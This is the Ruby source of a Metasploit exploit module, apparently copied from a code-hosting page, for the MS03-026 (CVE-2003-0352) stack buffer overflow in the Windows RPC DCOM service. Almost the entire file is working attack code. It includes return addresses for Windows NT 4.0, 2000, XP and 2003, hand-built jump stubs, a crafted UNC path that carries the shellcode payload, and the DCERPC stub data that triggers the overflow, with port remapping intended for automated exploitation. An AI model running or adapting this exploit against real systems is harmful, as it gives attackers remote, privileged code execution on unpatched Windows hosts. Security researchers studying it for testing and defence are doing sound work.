221 lines
6.5 KiB
Ruby
221 lines
6.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft RPC DCOM Interface Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
|
|
was originally found by the Last Stage of Delirium research group and has been
|
|
widely exploited ever since. This module can exploit the English versions of
|
|
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
|
|
},
|
|
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2003-0352' ],
|
|
[ 'OSVDB', '2100' ],
|
|
[ 'MSB', 'MS03-026' ],
|
|
[ 'BID', '8205' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 880,
|
|
'MinNops' => 300,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
|
'StackAdjustment' => -3500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# Target 0: Universal
|
|
[
|
|
'Windows NT SP3-6a/2000/XP/2003 Universal',
|
|
{
|
|
'Platform' => 'win',
|
|
'Rets' =>
|
|
[
|
|
0x77f33723, # Windows NT 4.0 SP6a (esp)
|
|
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
|
|
0x010016c6, # Windows 2000 Universal (ebx)
|
|
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
|
|
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
|
|
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
|
|
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
|
|
],
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 16 2003'))
|
|
end
|
|
|
|
def autofilter
|
|
# Common vulnerability scanning tools report port 445/139
|
|
# due to how they test for the vulnerability. Remap this
|
|
# back to 135 for automated exploitation
|
|
|
|
rport = datastore['RPORT'].to_i
|
|
if ( rport == 139 or rport == 445 )
|
|
datastore['RPORT'] = 135
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
# Carefully create the combination of addresses and code for cross-os exploitation
|
|
xpseh = rand_text_alphanumeric(360, payload_badchars)
|
|
|
|
# Jump to [esp-4] - (distance to shellcode)
|
|
jmpsc =
|
|
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
|
|
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
|
|
Rex::Arch::X86.jmp_reg('eax') # jmp eax
|
|
|
|
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
|
|
jmpsc2k3 =
|
|
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
|
|
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
|
|
Rex::Arch::X86.jmp_reg('eax') # jmp eax
|
|
|
|
# Windows 2003 added by spoonm
|
|
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
|
|
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
|
|
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')
|
|
|
|
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8')
|
|
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
|
|
xpseh[ 314, jmpsc.length ] = jmpsc
|
|
|
|
#
|
|
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
|
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
|
# HD wrote NT 4.0 SP6a, and it's off in a different place
|
|
#
|
|
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
|
|
# (hopefully I'm accurate, this is from my memory...)
|
|
#
|
|
# |---pop pop ret-------- --eax---|
|
|
# V | | V
|
|
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
|
|
# 4 4 4 5 5
|
|
# | ^
|
|
# --------------------------------------------------|
|
|
# The jmpback's all are 5 byte backwards jumps into our shellcode that
|
|
# sits just below these overwrites...
|
|
#
|
|
|
|
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
|
|
rand_text(2, payload_badchars)
|
|
|
|
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
|
|
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
|
|
ntshiz =
|
|
nt4sp3jmp +
|
|
[ target['Rets'][6] ].pack('V') +
|
|
[ target['Rets'][5] ].pack('V') +
|
|
nt4sp5jmpback +
|
|
nt4sp3jmpback
|
|
|
|
# Pad to the magic value of 118 bytes
|
|
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
|
|
|
|
# Create the evil UNC path used in the overflow
|
|
uncpath =
|
|
Rex::Text.to_unicode("\\\\") +
|
|
make_nops(32) +
|
|
|
|
# When attacking NT 4.0, jump over 2000/XP return
|
|
Rex::Arch::X86.jmp_short(16) +
|
|
Rex::Arch::X86.jmp_short(25) +
|
|
|
|
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
|
|
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
|
|
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
|
|
make_nops(88) +
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
rand_text(4, payload_badchars) +
|
|
make_nops(8) +
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
make_nops(4) +
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
rand_text(4, payload_badchars) +
|
|
payload.encoded +
|
|
ntshiz +
|
|
xpseh +
|
|
Rex::Text.to_unicode("\\\x00")
|
|
|
|
# This is the rpc cruft needed to trigger the vuln API
|
|
stubdata =
|
|
NDR.short(5) +
|
|
NDR.short(1) +
|
|
NDR.long(0) +
|
|
NDR.long(0) +
|
|
|
|
rand_text(16) +
|
|
|
|
NDR.long(0) +
|
|
NDR.long(0) +
|
|
NDR.long(0) +
|
|
NDR.long(0) +
|
|
NDR.long(0) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
|
|
|
|
NDR.long(0) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(1) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(1) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(1) +
|
|
NDR.long(1) +
|
|
NDR.long(rand(0xFFFFFFFF))
|
|
|
|
print_status('Sending exploit ...')
|
|
begin
|
|
dcerpc_call(0, stubdata, nil, false)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|